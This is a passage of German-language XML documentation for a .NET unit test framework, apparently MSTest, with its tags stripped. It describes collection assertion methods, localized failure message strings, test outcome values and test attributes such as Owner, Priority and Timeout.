aus, wenn zwei Elemente in der Sammlung gleich sind. - - - Die Sammlung, in der nach Elementduplikaten gesucht werden soll. - - - Die in die Ausnahme einzuschließende Meldung, wenn - enthält mindestens ein Elementduplikat. Die Meldung wird in - den Testergebnissen angezeigt. - - - Thrown if a two or more equal elements are found in - . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung eindeutig sind, und - löst eine Ausnahme aus, wenn zwei Elemente in der Sammlung gleich sind. - - - Die Sammlung, in der nach Elementduplikaten gesucht werden soll. - - - Die in die Ausnahme einzuschließende Meldung, wenn - enthält mindestens ein Elementduplikat. Die Meldung wird in - den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if a two or more equal elements are found in - . - - - - - Testet, ob eine Sammlung eine Untermenge einer anderen Sammlung ist, und - löst eine Ausnahme aus, wenn ein beliebiges Element in der Untermenge nicht auch in der - Obermenge enthalten ist. - - - Die Sammlung, von der erwartet wird, dass sie eine Untermenge ist von . - - - Die Sammlung, von der erwartet wird, dass sie eine Obermenge ist von - - - Thrown if an element in is not found in - . - - - - - Testet, ob eine Sammlung eine Untermenge einer anderen Sammlung ist, und - löst eine Ausnahme aus, wenn ein beliebiges Element in der Untermenge nicht auch in der - Obermenge enthalten ist. - - - Die Sammlung, von der erwartet wird, dass sie eine Untermenge ist von . - - - Die Sammlung, von der erwartet wird, dass sie eine Obermenge ist von - - - Die in die Ausnahme einzuschließende Meldung, wenn ein Element in - wurde nicht gefunden in . - Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if an element in is not found in - . - - - - - Testet, ob eine Sammlung eine Untermenge einer anderen Sammlung ist, und - löst eine Ausnahme aus, wenn ein beliebiges Element in der Untermenge nicht auch in der - Obermenge enthalten ist. - - - Die Sammlung, von der erwartet wird, dass sie eine Untermenge ist von . - - - Die Sammlung, von der erwartet wird, dass sie eine Obermenge ist von - - - Die in die Ausnahme einzuschließende Meldung, wenn ein Element in - wurde nicht gefunden in . - Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if an element in is not found in - . - - - - - Testet, ob eine Sammlung eine Untermenge einer anderen Sammlung ist, und - löst eine Ausnahme aus, wenn alle Elemente in der Untermenge auch in der - Obermenge enthalten sind. - - - Die Sammlung, von der erwartet wird, dass sie keine Untermenge ist von . - - - Die Sammlung, von der erwartet wird, dass sie keine Obermenge ist von - - - Thrown if every element in is also found in - . - - - - - Testet, ob eine Sammlung eine Untermenge einer anderen Sammlung ist, und - löst eine Ausnahme aus, wenn alle Elemente in der Untermenge auch in der - Obermenge enthalten sind. - - - Die Sammlung, von der erwartet wird, dass sie keine Untermenge ist von . - - - Die Sammlung, von der erwartet wird, dass sie keine Obermenge ist von - - - Die in die Ausnahme einzuschließende Meldung, wenn jedes Element in - auch gefunden wird in . - Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if every element in is also found in - . - - - - - Testet, ob eine Sammlung eine Untermenge einer anderen Sammlung ist, und - löst eine Ausnahme aus, wenn alle Elemente in der Untermenge auch in der - Obermenge enthalten sind. - - - Die Sammlung, von der erwartet wird, dass sie keine Untermenge ist von . - - - Die Sammlung, von der erwartet wird, dass sie keine Obermenge ist von - - - Die in die Ausnahme einzuschließende Meldung, wenn jedes Element in - auch gefunden wird in . - Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if every element in is also found in - . - - - - - Testet, ob zwei Sammlungen die gleichen Elemente enthalten, und löst eine - Ausnahme aus, wenn eine der Sammlungen ein Element enthält, das in der anderen - Sammlung nicht enthalten ist. - - - Die erste zu vergleichende Sammlung. Enthält die Elemente, die der Test - erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testet, ob zwei Sammlungen die gleichen Elemente enthalten, und löst eine - Ausnahme aus, wenn eine der Sammlungen ein Element enthält, das in der anderen - Sammlung nicht enthalten ist. - - - Die erste zu vergleichende Sammlung. Enthält die Elemente, die der Test - erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn ein Element in einer - der Sammlungen gefunden wurde, aber nicht in der anderen. Die Meldung wird in - den Testergebnissen angezeigt. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testet, ob zwei Sammlungen die gleichen Elemente enthalten, und löst eine - Ausnahme aus, wenn eine der Sammlungen ein Element enthält, das in der anderen - Sammlung nicht enthalten ist. - - - Die erste zu vergleichende Sammlung. Enthält die Elemente, die der Test - erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn ein Element in einer - der Sammlungen gefunden wurde, aber nicht in der anderen. Die Meldung wird in - den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testet, ob zwei Sammlungen verschiedene Elemente enthalten, und löst eine - Ausnahme aus, wenn die beiden Sammlungen identische Elemente enthalten (ohne Berücksichtigung - der Reihenfolge). - - - Die erste zu vergleichende Sammlung. Enthält die Elemente, von denen der Test erwartet, - dass sie sich von der tatsächlichen Sammlung unterscheiden. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testet, ob zwei Sammlungen verschiedene Elemente enthalten, und löst eine - Ausnahme aus, wenn die beiden Sammlungen identische Elemente enthalten (ohne Berücksichtigung - der Reihenfolge). - - - Die erste zu vergleichende Sammlung. Enthält die Elemente, von denen der Test erwartet, - dass sie sich von der tatsächlichen Sammlung unterscheiden. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - enthält die gleichen Elemente wie . Die Meldung - wird in den Testergebnissen angezeigt. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testet, ob zwei Sammlungen verschiedene Elemente enthalten, und löst eine - Ausnahme aus, wenn die beiden Sammlungen identische Elemente enthalten (ohne Berücksichtigung - der Reihenfolge). - - - Die erste zu vergleichende Sammlung. Enthält die Elemente, von denen der Test erwartet, - dass sie sich von der tatsächlichen Sammlung unterscheiden. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - enthält die gleichen Elemente wie . Die Meldung - wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testet, ob alle Elemente in der angegebenen Sammlung Instanzen - des erwarteten Typs sind, und löst eine Ausnahme aus, wenn der erwartete Typ sich - nicht in der Vererbungshierarchie mindestens eines Elements befindet. - - - Die Sammlung, die Elemente enthält, von denen der Test erwartet, dass sie - vom angegebenen Typ sind. - - - Der erwartete Typ jedes Elements von . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung Instanzen - des erwarteten Typs sind, und löst eine Ausnahme aus, wenn der erwartete Typ sich - nicht in der Vererbungshierarchie mindestens eines Elements befindet. - - - Die Sammlung, die Elemente enthält, von denen der Test erwartet, dass sie - vom angegebenen Typ sind. - - - Der erwartete Typ jedes Elements von . - - - Die in die Ausnahme einzuschließende Meldung, wenn ein Element in - ist keine Instanz von - . Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung Instanzen - des erwarteten Typs sind, und löst eine Ausnahme aus, wenn der erwartete Typ sich - nicht in der Vererbungshierarchie mindestens eines Elements befindet. - - - Die Sammlung, die Elemente enthält, von denen der Test erwartet, dass sie - vom angegebenen Typ sind. - - - Der erwartete Typ jedes Elements von . - - - Die in die Ausnahme einzuschließende Meldung, wenn ein Element in - ist keine Instanz von - . Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testet, ob die angegebenen Sammlungen gleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen ungleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, die der Test erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Sammlungen gleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen ungleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, die der Test erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Sammlungen gleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen ungleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, die der Test erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Sammlungen ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen gleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, mit der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Sammlungen ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen gleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, mit der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Sammlungen ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen gleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, mit der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Sammlungen gleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen ungleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, die der Test erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die zu verwendende Vergleichsimplementierung beim Vergleichen von Elementen der Sammlung. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Sammlungen gleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen ungleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, die der Test erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die zu verwendende Vergleichsimplementierung beim Vergleichen von Elementen der Sammlung. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Sammlungen gleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen ungleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, die der Test erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die zu verwendende Vergleichsimplementierung beim Vergleichen von Elementen der Sammlung. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Sammlungen ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen gleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, mit der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die zu verwendende Vergleichsimplementierung beim Vergleichen von Elementen der Sammlung. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Sammlungen ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen gleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, mit der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die zu verwendende Vergleichsimplementierung beim Vergleichen von Elementen der Sammlung. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Sammlungen ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen gleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, mit der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die zu verwendende Vergleichsimplementierung beim Vergleichen von Elementen der Sammlung. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Ermittelt, ob die erste Sammlung eine Teilmenge der zweiten - Sammlung ist. Wenn eine der Mengen Elementduplikate enthält, muss die Anzahl - der Vorkommen des Elements in der Teilmenge kleiner oder - gleich der Anzahl der Vorkommen in der Obermenge sein. - - - Die Sammlung, von der der Test erwartet, dass sie enthalten ist in . - - - Die Sammlung, von der der Test erwartet, dass sie Folgendes enthält: . - - - TRUE, wenn: eine Teilmenge ist von - , andernfalls FALSE. - - - - - Generiert ein Wörterbuch, das Anzahl der Vorkommen jedes - Elements in der angegebenen Sammlung enthält. - - - Die zu verarbeitende Sammlung. - - - Die Anzahl der Nullelemente in der Sammlung. - - - Ein Wörterbuch, das Anzahl der Vorkommen jedes - Elements in der angegebenen Sammlung enthält. - - - - - Findet ein nicht übereinstimmendes Element in den beiden Sammlungen. Ein nicht übereinstimmendes - Element ist ein Element, für das sich die Anzahl der Vorkommen in der - erwarteten Sammlung von der Anzahl der Vorkommen in der tatsächlichen Sammlung unterscheidet. Von den - Sammlungen wird angenommen, dass unterschiedliche Verweise ungleich null mit der - gleichen Anzahl von Elementen vorhanden sind. Der Aufrufer ist für diese Ebene - der Überprüfung verantwortlich. Wenn kein nicht übereinstimmendes Element vorhanden ist, gibt die Funktion FALSE - zurück, und die out-Parameter sollten nicht verwendet werden. - - - Die erste zu vergleichende Sammlung. - - - Die zweite zu vergleichende Sammlung. - - - Die erwartete Anzahl von Vorkommen von - oder 0, wenn kein nicht übereinstimmendes - Element vorhanden ist. - - - Die tatsächliche Anzahl von Vorkommen von - oder 0, wenn kein nicht übereinstimmendes - Element vorhanden ist. - - - Das nicht übereinstimmende Element (kann NULL sein) oder NULL, wenn kein nicht - übereinstimmendes Element vorhanden ist. - - - TRUE, wenn ein nicht übereinstimmendes Element gefunden wurde, andernfalls FALSE. - - - - - vergleicht die Objekte mithilfe von object.Equals - - - - - Basisklasse für Frameworkausnahmen. - - - - - Initialisiert eine neue Instanz der -Klasse. - - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Meldung. - Die Ausnahme. - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Meldung. - - - - Eine stark typisierte Ressourcenklasse zum Suchen nach lokalisierten Zeichenfolgen usw. - - - - - Gibt die zwischengespeicherte ResourceManager-Instanz zurück, die von dieser Klasse verwendet wird. - - - - - Überschreibt die CurrentUICulture-Eigenschaft des aktuellen Threads für alle - Ressourcensuchen mithilfe dieser stark typisierten Ressourcenklasse. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Zugriffszeichenfolge weist ungültige Syntax auf." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Erwartete Sammlung enthält {1} Vorkommen von <{2}>. Die tatsächliche Sammlung enthält {3} Vorkommen. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Elementduplikat gefunden: <{1}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Erwartet: <{1}>. Groß-/Kleinschreibung unterscheidet sich für den tatsächlichen Wert: <{2}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Differenz nicht größer als <{3}> zwischen erwartetem Wert <{1}> und tatsächlichem Wert <{2}> erwartet. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Erwartet: <{1} ({2})>. Tatsächlich: <{3} ({4})>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Erwartet: <{1}>. Tatsächlich: <{2}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Differenz größer als <{3}> zwischen erwartetem Wert <{1}> und tatsächlichem Wert <{2}> erwartet. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Beliebiger Wert erwartet, ausgenommen: <{1}>. Tatsächlich: <{2}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Übergeben Sie keine Werttypen an AreSame(). In Object konvertierte Werte sind nie gleich. Verwenden Sie ggf. AreEqual(). {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Fehler von {0}. {1}" nach. - - - - - Sucht nach einer lokalisierten Zeichenfolge ähnlich der folgenden: "async TestMethod" wird mit UITestMethodAttribute nicht unterstützt. Entfernen Sie "async", oder verwenden Sie TestMethodAttribute. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Beide Sammlungen sind leer. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Beide Sammlungen enthalten die gleichen Elemente." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Beide Sammlungsverweise zeigen auf das gleiche Sammlungsobjekt. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Beide Sammlungen enthalten die gleichen Elemente. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "{0}({1})." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "(null)" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "(object)" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Zeichenfolge '{0}' enthält nicht Zeichenfolge '{1}'. {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "{0} ({1})." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Assert.Equals sollte für Assertionen nicht verwendet werden. Verwenden Sie stattdessen Assert.AreEqual & Überladungen." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Die Anzahl der Elemente in den Sammlungen stimmt nicht überein. Erwartet: <{1}>. Tatsächlich: <{2}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Element am Index {0} stimmt nicht überein." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Element am Index {1} weist nicht den erwarteten Typ auf. Erwarteter Typ: <{2}>. Tatsächlicher Typ: <{3}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Element am Index {1} ist (null). Erwarteter Typ: <{2}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Zeichenfolge '{0}' endet nicht mit Zeichenfolge '{1}'. {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Ungültiges Argument: EqualsTester darf keine NULL-Werte verwenden." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Objekt vom Typ {0} kann nicht in {1} konvertiert werden." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Das referenzierte interne Objekt ist nicht mehr gültig." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Der Parameter '{0}' ist ungültig. {1}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Die Eigenschaft {0} weist den Typ {1} auf. Erwartet wurde der Typ {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "{0} Erwarteter Typ: <{1}>. Tatsächlicher Typ: <{2}>." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Zeichenfolge '{0}' stimmt nicht mit dem Muster '{1}' überein. {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Falscher Typ: <{1}>. Tatsächlicher Typ: <{2}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Zeichenfolge '{0}' stimmt mit dem Muster '{1}' überein. {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Kein DataRowAttribute angegeben. Mindestens ein DataRowAttribute ist mit DataTestMethodAttribute erforderlich." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Keine Ausnahme ausgelöst. {1}-Ausnahme wurde erwartet. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Der Parameter '{0}' ist ungültig. Der Wert darf nicht NULL sein. {1}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Unterschiedliche Anzahl von Elementen." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich - "Der Konstruktor mit der angegebenen Signatur wurde nicht gefunden. Möglicherweise müssen Sie Ihren privaten Accessor erneut generieren, - oder der Member ist ggf. privat und für eine Basisklasse definiert. Wenn Letzteres zutrifft, müssen Sie den Typ an den - Konstruktor von PrivateObject übergeben, der den Member definiert." nach. - . - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich - "Der angegebene Member ({0}) wurde nicht gefunden. Möglicherweise müssen Sie Ihren privaten Accessor erneut generieren, - oder der Member ist ggf. privat und für eine Basisklasse definiert. Wenn Letzteres zutrifft, müssen Sie den Typ an den - Konstruktor von PrivateObject übergeben, der den Member definiert." nach. - . - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Die Zeichenfolge '{0}' beginnt nicht mit der Zeichenfolge '{1}'. {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Der erwartete Ausnahmetyp muss System.Exception oder ein von System.Exception abgeleiteter Typ sein." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "(Fehler beim Abrufen der Meldung vom Typ {0} aufgrund einer Ausnahme.)" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Testmethode hat erwartete Ausnahme {0} nicht ausgelöst. {1}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Die Testmethode hat keine Ausnahme ausgelöst. Vom Attribut {0}, das für die Testmethode definiert ist, wurde eine Ausnahme erwartet." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Testmethode hat Ausnahme {0} ausgelöst, aber Ausnahme {1} wurde erwartet. Ausnahmemeldung: {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Testmethode hat Ausnahme {0} ausgelöst, aber Ausnahme {1} oder ein davon abgeleiteter Typ wurde erwartet. Ausnahmemeldung: {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Ausnahme {2} wurde ausgelöst, aber Ausnahme {1} wurde erwartet. {0} - Ausnahmemeldung: {3} - Stapelüberwachung: {4}" nach. - - - - - Ergebnisse des Komponententests - - - - - Der Test wurde ausgeführt, aber es gab Probleme. - Möglicherweise liegen Ausnahmen oder Assertionsfehler vor. - - - - - Der Test wurde abgeschlossen, es lässt sich aber nicht sagen, ob er bestanden wurde oder fehlerhaft war. - Kann für abgebrochene Tests verwendet werden. - - - - - Der Test wurde ohne Probleme ausgeführt. - - - - - Der Test wird zurzeit ausgeführt. - - - - - Systemfehler beim Versuch, einen Test auszuführen. - - - - - Timeout des Tests. - - - - - Der Test wurde vom Benutzer abgebrochen. - - - - - Der Test weist einen unbekannten Zustand auf. - - - - - Stellt Hilfsfunktionen für das Komponententestframework bereit. - - - - - Ruft die Ausnahmemeldungen (einschließlich der Meldungen für alle inneren Ausnahmen) - rekursiv ab. - - Ausnahme, für die Meldungen abgerufen werden sollen - Zeichenfolge mit Fehlermeldungsinformationen - - - - Enumeration für Timeouts, die mit der -Klasse verwendet werden kann. - Der Typ der Enumeration muss entsprechen: - - - - - Unendlich. - - - - - Das Testklassenattribut. - - - - - Erhält ein Testmethodenattribut, das die Ausführung des Tests ermöglicht. - - Die für diese Methode definierte Attributinstanz der Testmethode. - Diezum Ausführen dieses Tests - Extensions can override this method to customize how all methods in a class are run. - - - - Das Testmethodenattribut. - - - - - Führt eine Testmethode aus. - - Die auszuführende Textmethode. - Ein Array aus TestResult-Objekten, die für die Ergebnisses des Tests stehen. - Extensions can override this method to customize running a TestMethod. - - - - Das Testinitialisierungsattribut. - - - - - Das Testbereinigungsattribut. - - - - - Das Ignorierattribut. - - - - - Das Testeigenschaftattribut. - - - - - Initialisiert eine neue Instanz der -Klasse. - - - Der Name. - - - Der Wert. - - - - - Ruft den Namen ab. - - - - - Ruft den Wert ab. - - - - - Das Klasseninitialisierungsattribut. - - - - - Das Klassenbereinigungsattribut. - - - - - Das Assemblyinitialisierungsattribut. - - - - - Das Assemblybereinigungsattribut. - - - - - Der Testbesitzer. - - - - - Initialisiert eine neue Instanz der-Klasse. - - - Der Besitzer. - - - - - Ruft den Besitzer ab. - - - - - Prioritätsattribut. Wird zum Angeben der Priorität eines Komponententests verwendet. - - - - - Initialisiert eine neue Instanz der -Klasse. - - - Die Priorität. - - - - - Ruft die Priorität ab. - - - - - Die Beschreibung des Tests. - - - - - Initialisiert eine neue Instanz der -Klasse zum Beschreiben eines Tests. - - Die Beschreibung. - - - - Ruft die Beschreibung eines Tests ab. - - - - - Der URI der CSS-Projektstruktur. - - - - - Initialisiert eine neue Instanz der -Klasse der CSS Projektstruktur-URI. - - Der CSS-Projektstruktur-URI. - - - - Ruft den CSS-Projektstruktur-URI ab. - - - - - Der URI der CSS-Iteration. - - - - - Initialisiert eine neue Instanz der-Klasse für den CSS Iterations-URI. - - Der CSS-Iterations-URI. - - - - Ruft den CSS-Iterations-URI ab. - - - - - WorkItem-Attribut. Wird zum Angeben eines Arbeitselements verwendet, das diesem Test zugeordnet ist. - - - - - Initialisiert eine neue Instanz der-Klasse für das WorkItem-Attribut. - - Die ID eines Arbeitselements. - - - - Ruft die ID für ein zugeordnetes Arbeitselement ab. - - - - - Timeoutattribut. Wird zum Angeben des Timeouts eines Komponententests verwendet. - - - - - Initialisiert eine neue Instanz der -Klasse. - - - Das Timeout. - - - - - Initialisiert eine neue Instanz der -Klasse mit einem voreingestellten Timeout. - - - Das Timeout. - - - - - Ruft das 